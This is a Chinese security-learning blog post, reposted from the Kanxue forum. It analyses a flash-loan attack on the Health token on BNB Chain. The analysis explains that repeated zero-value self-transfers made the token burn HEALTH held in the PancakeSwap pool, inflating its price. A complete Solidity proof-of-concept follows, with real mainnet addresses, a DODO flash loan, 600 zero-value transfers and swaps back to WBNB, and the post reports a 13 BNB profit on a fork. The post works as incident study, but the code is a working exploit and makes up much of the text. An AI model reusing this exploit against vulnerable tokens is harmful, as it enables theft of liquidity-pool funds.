区块链安全学习 - Health Token
2022-12-17 18:1:29 Author: 看雪学苑(查看原文) 阅读量:12 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:Catsay

攻击交易https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf

攻击分析

攻击者通过dodo闪电贷获取了40个WBNB,通过pancakeSwap的Router兑换了30565652268756555675523626个。

相同数目的Health token应该只能swap出个40000000000000000000
但是却兑换出了56641927146106351887,归还闪电贷后,至此黑客获利16641927146106351887。也就是16BNB。
通过观察交易,发现黑客发送了大量的 transfer,去看合约代码。
发现在 transfer 函数中,如果满足了条件,它就会销毁流动池中的Health代币。从而导致Health兑换WBNB的价格增高。

复盘

我们同样也去dodo借一笔闪电贷,然后去模拟运行一下。fork bsc 22337426区块。
去tenderly模拟,因为循环次数过多,我们需要拉高gas:
pragma solidity ^0.8.0;interface IERC20 {     event Transfer(address indexed from, address indexed to, uint256 value);     event Approval(address indexed owner, address indexed spender, uint256 value);     function totalSupply() external view returns (uint256);     function balanceOf(address account) external view returns (uint256);     function transfer(address to, uint256 amount) external returns (bool);     function allowance(address owner, address spender) external view returns (uint256);     function approve(address spender, uint256 amount) external returns (bool);     function transferFrom(        address from,        address to,        uint256 amount    ) external returns (bool);} interface Uni_Router_V2 {    function swapExactTokensForTokensSupportingFeeOnTransferTokens(        uint256 amountIn,        uint256 amountOutMin,        address[] memory path,        address to,        uint256 deadline  ) external;}  interface IDPPAdvanced {    function flashLoan(        uint256 baseAmount,        uint256 quoteAmount,        address assetTo,        bytes calldata data    ) external;} interface IWBNB {    function balanceOf(address account) external view  returns (uint256);    function withdraw(uint wad) external;    function deposit() external payable;    function approve(address guy, uint wad) external returns (bool);} interface IPancakeRouter {    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);    function swapExactTokensForTokens(        uint amountIn,        uint amountOutMin,        address[] calldata path,        address to,        uint deadline    ) external returns (uint[] memory amounts);    function swapExactTokensForTokensSupportingFeeOnTransferTokens(        uint amountIn,        uint amountOutMin,        address[] calldata path,        address to,        uint deadline    ) external;} interface IHealth {    function balanceOf(address account) external view  returns (uint256);    function approve(address spender, uint256 amount) external returns (bool);    function transfer(address recipient, uint256 amount) external returns (bool);} interface IPancakePair {    function skim(address to) external;    function sync() external;} struct DPPAdvancedCallBackData {    uint256 baseAmount;    uint256 quoteAmount;}     contract ContractTest{    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);    Uni_Router_V2 uni_pair = Uni_Router_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);    Uni_Router_V2 uni_router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);    address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;     function testExp() external{         WBNB.approve(address(uni_router), type(uint).max);        HEALTH.approve(address(uni_router),type(uint).max);         uint256 borrown_wbnb_amt = 200 * 1e18;        DPPAdvancedCallBackData memory callbackData;        callbackData.baseAmount = borrown_wbnb_amt;        callbackData.quoteAmount = 0;        bytes memory data = abi.encode(callbackData);         IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,0,address(this),data);     }     fallback() external payable {    }     function DPPFlashLoanCall(        address sender,        uint256 baseAmount,        uint256 quoteAmount,        bytes calldata data    ) external {        WBNBToHEALTH();        for(uint i = 0; i < 600; i++){            HEALTH.transfer(address(this), 0);        }        HEALTHToWBNB();        WBNB.transfer(dodo, 200 * 1e18);    }      function WBNBToHEALTH() internal{        address[] memory path = new address[](2);        path[0] = address(WBNB);        path[1] = address(HEALTH);        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(            WBNB.balanceOf(address(this)),            0,            path,            address(this),            block.timestamp        );    }     function HEALTHToWBNB() internal{        address[] memory path = new address[](2);        path[0] = address(HEALTH);        path[1] = address(WBNB);        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(            HEALTH.balanceOf(address(this)),            0,            path,            address(this),            block.timestamp        );    }

成功获利13个BNB。

看雪ID:Catsay

https://bbs.pediy.com/user-home-642281.htm

*本文由看雪论坛 Catsay 原创,转载请注明来自看雪社区

# 往期推荐

1、frida入门

2、2022祥云杯CTF babyparser

3、Android 内存执行ELF研究

4、有风控&无风控App对抗深入浅出

5、逆向记录

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458488898&idx=2&sn=69f0d9b9253da64269a40cfc30c18140&chksm=b18ea0c886f929ded9f97695aa98c1d60cba06224080e0d8daccef33010da5ae4c3235c9c077#rd
如有侵权请联系:admin#unsafe.sh